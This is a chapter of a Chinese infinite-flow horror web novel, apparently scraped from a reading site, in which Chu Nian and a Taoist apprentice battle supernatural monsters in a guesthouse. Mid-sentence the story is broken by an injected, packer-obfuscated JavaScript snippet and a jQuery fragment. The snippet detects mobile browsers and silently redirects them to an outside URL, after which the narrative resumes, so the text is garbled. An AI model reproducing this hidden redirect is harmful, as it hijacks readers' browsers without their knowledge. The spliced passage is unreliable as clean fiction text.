7. 突 发

作品:《无限流炮灰,但玛丽苏

    小徒弟没有想到自己奋力的一击,得到的却是这样一个结果,吓得一屁股跌坐在地上。


    “你,你不是鬼吗?”


    他和那个中长发女生的想法一样,能让NPC主动找她代班,不费吹灰之力拿到人人都要想要的铭牌,她绝对不会是普通人。


    “我是大头鬼,”楚念扫过上面的符咒,重新将符纸丢还给他:“留着对付那个屠夫吧,保不准还能有点用。”


    “什么屠夫?”


    楚念都差点儿忘了,他是跟着来查爱乐佳恶性纵火案的,不是酬神世界里的玩家。


    四下打量问:“那个道长呢?”


    “你怎么知道?”小徒弟警惕的问道,不自觉往后退了一步。


    “这不是明摆着的事吗?”楚念暗示了一下他腰间的桃木剑。


    “啊,”小徒弟松了口气,“我们刚才遇到一个戴着小红帽的游客,我师父觉得不安心,追她去了。”


    难怪楚念后面就没见过那个游客了。


    楚念点点头:“那你们加油,我睡一会儿。”


    “你……”小徒弟没想到她在这种情况还睡得着,“男朋友呢?”


    他记得,他们是一对情侣。


    她脸上生出刹那的悲伤,“他死了。”


    “什么?”


    “他向屠夫献祭了自己的眼睛和肢体,换得了我逃生的机会。”楚念和他一样难以置信,她以为祁连是这个游戏的主宰,结果就这样死在了这里。


    她和他谈不上有多少感情,但还是觉得这个结局太潦草了。


    小徒弟脸上写满难以置信,想要安慰她,却不知从何说起,耷拉着的脑袋同样浮现出一丝悲伤。


    忽然,她和小徒弟同时看到一道白光从外面的餐厅扫过。


    两个人不约而同向着源头看去。


    只见手持桃木剑的青年大手一挥,戴着小红帽的游客就在原地爆成一团血粉。


    吓得躲在餐桌下的寸头男连滚带爬上去抱住了他的大腿。


    “大师,救命啊!”


    桃木剑青年眉头微皱,盯着从雾里透出的影子。


    “那是什么?”


    “一个怪物,他像影子一样薄,但是身体又像是史莱姆一样的材质,无论用什么攻击它,都会被它身上的材质吸收,毫无办法。”


    道长眉头微皱,“怎么会有这样的东西?”


    ‘爱乐佳’不过是论坛上一个两星的委托而已,这样的凶地大多是因为有太多无法往生的灵魂在徘徊,连一只有攻击性成型的鬼都没有。不然他也不会带着徒弟来练手。


    寸头男哪能回答,只能一味喊他救命。


    就在两人盯着窗外思索时,托着斧头的屠夫已经出现在他们身后。


    楚念意识到祂的技能进化了。


    相较之前追赶,这一次祂是凭空出现在他们身后的,这说明随着时间的推移,规则对他的约束减少了。


    这对她们来说可不是什么好事。


    “师——”小徒弟想要出声提醒,青年道长已经先一步做出反应,转身对着屠夫挥出一剑,然而还是晚了,雨夜屠夫张开手掌笼在他的头顶,明明没有碰到他,他却随着屠夫的手臂开始悬空。


    楚念不知道他看见了什么,只见他挣扎着双腿,盯着眼前的空气自语:“没有别得选项吗?”


    话音未落,青年喉咙深处发出一声闷响,双眸睁圆的耷拉下脑袋。


    道长死了。


    上一刻还把希望寄托在他身后的圆寸头男看到这一幕,瞬间被吓疯了。


    疯狂往后退去:“救命啊,救命啊!”


    小徒弟也没想到自己敬仰的师父就这么死了,眼眶不自觉滑下两道泪。


    “我们都要死在这里了。”


    楚念也没想到那个道长会死得那么快,拍了拍小徒弟的肩:“不要这么悲观。”


    “我师父说,现在是夏时令,天早就该亮了,但现在已经过了卯时一刻,窗外还是一片漆黑!这说明在我们死在这里之前,天都不会亮了。”


    话音落下,整栋民宿的灯轰然熄灭,再次陷入了巨大的黑暗中。


    祁连为她争取来的三十分钟光明已经到了。


    楚念没有理会儿他的悲观,“去把你师父的那把桃木剑捡回来。”


    小徒弟:“?”


    “他死了,现在要靠你查明爱乐佳恶性纵火案背后的真相。我怀疑,这两件事很有可能是一件事。”


    小徒弟诧异她怎么会知道自己和师父的委托,而后又是一头雾水:“什么两件事?你怎么会知道我和师父接得委托,你到底是什么人?”


    “一个美院的大二学生,”她咬着手腕上取下的红绳,系起自己披在肩后的头发:“这样下去不是办法,得想办法破局。”


    小徒弟当然知道这样下去不是办法,可是——“我,刚入门两周的超级菜鸟,你,学画画的女大学生,你告诉我要怎么破局?”


    ”你愿意相信我吗?”


    “这不是我相不相信的问题……”


    “来了——”楚念忽然神色一变,拎起小徒弟的衣领猛的往旁边一躲,原本在大厅的雨夜屠夫忽然凭空出现在餐厅上方,对准他们之前蹲得位置就是一砍。


    黑色的地板瞬时裂出一条又深又长的缝隙。


    楚念暗骂一声,飞速翻滚进大厅,捡起地上的桃木剑,系统立马弹出提示:「请确保你的身份和拾取道具相符合,否则道具功能将视为无效」


    她的身份与这把桃木剑的设定不符。


    可见系统给他们的身份都是有意义的。


    楚念反应过来,将剑丢给小徒弟:“这个怪物只能由你来斩杀。”


    “什么?”小徒弟手忙脚乱将剑接住,听到这句话险些没晕过去,连滚带爬躲到她身边:“我怎么可能对付的这个怪物?”


    “难道你师父就一点儿东西都没教你吗?”


    “他给了我一张穿山符和两张隐身符,但是我们在来得路上已经用掉了。”


    “什么?就这么用了?”楚念一惊,这俩师徒真是一点苦都不愿意吃啊!


    “别说这个了,”小徒弟颤颤巍巍举起手里的桃木剑,“咱们现在怎么办啊?”


    “杀了它逃出去。”楚念神色坚定回道。


    “什么?”


    楚念没有精力和他废话了。


    不等他想明白,已经抡圆了手臂将他一把甩了出去。


    小徒弟正巧甩在雨夜屠夫脚边。


    不经意对上驴头下面的眼睛,一种前所未有的压迫感从头顶压下,让他动弹不得,只能眼睁睁看着眼前浮现出一个透明的面板——「渴望神明庇佑的子民,现在愿意交出什么去供奉你的神明?」


    他大脑还没转过来,忽然就感觉背上一沉。楚念一脚踩在他的背上,奋身跃起,对着那张诡异的雨夜屠夫凭空画出一道符,嘴里念念有词:“敕敕洋洋,日出东方,吾赐灵符,普扫不祥,口吐山脉之火,太上老君吾吉吉如律令——破!”


    黑暗中一道金光闪过。


    那道符直直对着驴头的眉心印去。


    小徒弟一脸懵逼,楚念一个后空翻落回原地大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016310|194192||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    喊:“快点!它现在动不了,拿剑刺它的心脏!”


    雨夜屠夫的手脚像是被什么锁住了动弹不得,发出迫切的嘶吼。


    小徒弟察觉到压在自己头顶的“空气墙”不见了,颤颤巍巍拿起剑,却始终没有刺下去的勇气,就在他犹豫的刹那,被束缚在原地的怪物忽然像是受到了某种召唤,瞬间消失了。


    喧闹的大厅在刹那归于平静。


    小徒弟怔怔问道:“人……呢?”


    “跑了。”楚念平复着略微急促的呼吸回道。


    小徒弟心里又惊又怕,回过头正欲说话,只见看到两道殷红的鲜血顺着楚念的眼睛流下来。


    小徒弟男顿时傻了。


    “你……”


    楚念气定神闲在脸上一擦,“没事。”


    等到血流止住,就着厨房的水洗了把脸,又回到前台。


    躲在餐桌下的村头男抱着桌脚,一动不动的盯着她,看她比看雨夜屠夫还可怕。


    楚念上前摘下女孩胸口的铭牌,中长发女孩立刻就从机械重复的模式解脱了出来,两眼一翻直接倒在了地上。


    楚念确认她的鼻息。


    只要还活着就行。


    转而看向角落的柯泽,他手臂上的血液已经停止流动了,摘下他头上的纸袋,脸色一片苍白,但是尚有气息。


    楚念暗自松了口气,看向跟在身后的小徒弟:“去忙你的吧——”


    话音落下,小徒弟忽然指着大厅的落地窗,失语的跌坐在了地上。


    一个穿着西装戴着礼帽的透明人,礼貌的摘下头顶的帽子,弓着超过三米的身躯,轻轻叩了叩门。


    “就是他!”寸头男克制着自己打结的舌头:“我们碰到的就是他,千万不要开门。”


    楚念不动声色直视着对方,将柯泽护到自己身后。


    它看起来绅士极了,如果不是他肚子里胃消化的人体还清晰可见,任谁看它都是人畜无害,只见它徒手扯下民宿带锁的房门,吞进自己嘴里,那张陡然张大的嘴,像极了鹈鹕的大喉囊。


    外面的瘴气立刻随着风灌了进来。


    楚念下意识眯眼躲避,回过神是,它已经闪现到了她的面前,没有任何反应的时间,楚念下意识一脚蹬在它的下颚,然而却只踹到一脚的黏液,除了让她站立不稳,没有任何意义。


    它对她这个纯活人没有任何兴趣。


    拧起身后半死不活的柯泽,就准备往长大的嘴里丢。


    小徒弟终于回过神,嘴里念念有词的扔出一张符纸,向着它的头顶丢去。


    但是威力极小,只是轻微的炸了一下。


    可这也为楚念的救援争取了时间,趁着它手指松开的刹那,一脚蹬在旁边的墙壁上,飞身将柯泽从它指间抢了下来,在柯泽昏昏欲睡的脸上狠狠扇了两巴掌,陷入昏睡的柯泽悠悠转醒,看到面前的怪人陡然清醒,不等楚念提醒,自顾自躲开来。


    ……


    大厅里乱作一团时,民宿的客房却是岁月静好。


    祁连坐在墙角的沙发上,仔细端详着手腕多出来的几道灼痕,暖黄色的灯光照耀他的身上,弥漫着与墙面驴头人身影子截然不同的清冷温和。


    “你的意思是,她在空中画了一道符就把你弄成这样?”


    “呃恩~”墙上驴头人身的影子出委屈巴巴的驴叫。


    “有点意思。”他看着伤口里闪烁的金光,发出一声冷笑。


    “呃恩~”


    “行了,别叫了,难听。”他起身,听到楼下越发喧闹的声音:“你走了,楼下怎么还那么吵?”